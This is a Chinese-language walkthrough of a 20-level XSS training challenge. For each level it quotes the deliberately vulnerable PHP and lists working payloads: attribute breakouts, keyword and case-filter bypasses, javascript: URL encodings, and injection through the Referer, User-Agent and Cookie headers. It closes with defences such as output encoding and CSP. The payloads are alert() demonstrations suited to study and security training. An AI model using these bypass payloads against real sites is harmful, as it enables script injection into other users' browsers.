xss挑战之旅
字数 1854 2025-08-11 17:40:05
XSS挑战之旅全面解析与实战指南
1. XSS基础概念
XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的安全漏洞。攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,脚本会在用户浏览器中执行。
2. XSS挑战关卡详解
Level 1: 无过滤基础XSS
关键代码:
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
漏洞分析:
- 直接输出用户输入,没有任何过滤
- 可以直接注入HTML和JavaScript代码
有效Payload:
<script>alert('xss')</script>
<svg/onload=alert('xss')>
<script>prompt('xss')</script>
<script>confirm('xss')</script>
Level 2: HTML实体编码绕过
关键代码:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
漏洞分析:
- 使用
htmlspecialchars()函数过滤,将特殊字符转换为HTML实体 - 但输入被放在input标签的value属性中,需要闭合属性
有效Payload:
" onmouseover=alert(/xss/)>click
"><script>alert(/xss/)</script>
" onchange=alert`document.domain` //
" oninput=alert`document.domain` //
" onfocus=alert(document.domain) autofocus;//
Level 3: 标签过滤绕过
关键代码:
$str = $_GET["keyword"];
$str2=str_replace("<", "", $str);
$str3=str_replace(">", "", $str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
漏洞分析:
- 过滤了
<和>符号 - 需要使用事件处理器而不依赖尖括号
有效Payload:
' onclick=alert(/xss/)//
' onmouseover=alert('xss')//
' oninput=alert`xss` //
' onchange=alert`xss` //
Level 4: 多重过滤绕过
关键代码:
- 过滤了
<和>符号 - 使用
htmlspecialchars()函数
有效Payload:
" onfocus=alert(xss) autofocus=
" onmouseover=alert('xss')
" oninput=alert`xss`
" onchange=alert`xss`//
Level 5: 关键字过滤绕过
关键代码:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str=strtolower($_GET['keyword']);
漏洞分析:
- 过滤了
<script和on关键字 - 使用
strtolower()使大小写绕过失效 - 未过滤
<a>标签
有效Payload:
"><iframe src=javascript:alert(/xss/)>
"><a href="javascript:%61lert(5)">click me !!!</a>
"><a href=" javascript:alert(/xss/)
Level 6: 大小写绕过
关键代码:
- 使用
str_replace()过滤关键字 - 未限制大小写
有效Payload:
"> <SCRIpt>alert(/xss/)</SCriPT>
">
"> <a HrEf="javascript:alert(/xss/)">click me!!!</a>
" ONclick=alert(/xss/) //
"><svg x="" ONclick=alert(/xss/)>
Level 7: 双写绕过
关键代码:
- 过滤
script,on,src,data,href等关键字 - 大小写过滤失效
有效Payload:
" oonnclick=alert(/xss/)//
" oonnmouseover=alert(/xss/)//
" oonninput=alert(/xss/) "
Level 8: 编码绕过
关键代码:
- 过滤多种关键字并替换
- 双引号被转换为HTML实体
- 输出在a标签的href属性中
有效Payload:
javascript:%61lert(/XSS/)
javascript:%61lert`/xss/`
javascript:alert`/xss/`
Level 9: URL检测绕过
关键代码:
- 类似Level 8的过滤
- 增加URL检测,要求包含
http://
有效Payload:
javascript:alert(1)//http://
javascript:%0dhttp://%0dalert(/xss/)
Level 10: 隐藏表单利用
关键代码:
- 多个隐藏输入框
- 尖括号被过滤
有效Payload:
keyword=test&t_sort=" type="text" onclick="alert(/xss/)
keyword=test&t_sort=" type="text" onmouseover="alert(/xss/)
Level 11: HTTP Referer头注入
关键代码:
$str11=$_SERVER['HTTP_REFERER'];
有效Payload:
Referer:" onmouseover=alert(/xss/) type="text"
Referer:" onclick="alert(/xss/)" type="text
Level 12: User-Agent头注入
关键代码:
$str11=$_SERVER['HTTP_USER_AGENT'];
有效Payload:
User-Agent:" onmouseover=alert(/xss/) type="text"
User-Agent:" onclick="alert(/xss/)" type="text
Level 13: Cookie注入
关键代码:
setcookie("user", "call me maybe?", time()+3600);
有效Payload:
Cookie: user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(/xss/)
Level 14: EXIF XSS
漏洞分析:
- 通过图片的EXIF元数据注入XSS
- 使用工具修改图片元数据
利用方法:
exiftool -Artist=' ">' brute.jpeg
Level 15: AngularJS ng-include指令利用
关键代码:
- 使用ng-include包含外部文件
- 可以包含Level1的漏洞页面
有效Payload:
/level15.php?src='level1.php?name=test'
Level 16: 特殊字符绕过
关键代码:
- 过滤多种字符
- 可以使用换行符绕过
有效Payload:
keyword=
keyword=<iframe%0dsrc=0%0donmouseover=alert`/xss/`></iframe>
keyword=<svg%0aonload=alert`/xss/`></svg>
Level 17-18: 参数注入
有效Payload:
arg01=a&arg02=%20onmouseover=alert`1`
Level 19: Flash XSS
漏洞分析:
- 通过Flash的getURL函数利用
- 需要构造特定标签
有效Payload:
arg01=version&arg02=<a href="javascript:alert(1)">xss</a>
Level 20: ZeroClipboard XSS
有效Payload:
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
3. XSS防御方法
-
输入验证与过滤:
- 使用
htmlspecialchars()等函数转换特殊字符 - 白名单验证输入内容
- 使用
-
输出编码:
- 根据输出上下文(HTML, JavaScript, CSS, URL)进行适当编码
-
内容安全策略(CSP):
- 通过HTTP头限制脚本来源
- 示例:
Content-Security-Policy: default-src 'self'
-
HttpOnly Cookie:
- 设置Cookie的HttpOnly属性防止通过JavaScript访问
-
框架安全:
- 使用现代框架的安全功能(如React的自动转义)
- 避免直接使用
innerHTML等不安全API
-
正则表达式过滤:
- 过滤
<script>,on事件等危险内容
- 过滤
4. 总结
本教程详细解析了20个XSS挑战关卡,展示了各种XSS攻击技术和绕过方法。从基础的无过滤注入到复杂的HTTP头注入、Flash XSS等高级技术,涵盖了XSS攻击的多种场景。同时提供了相应的防御措施,帮助开发者构建更安全的Web应用。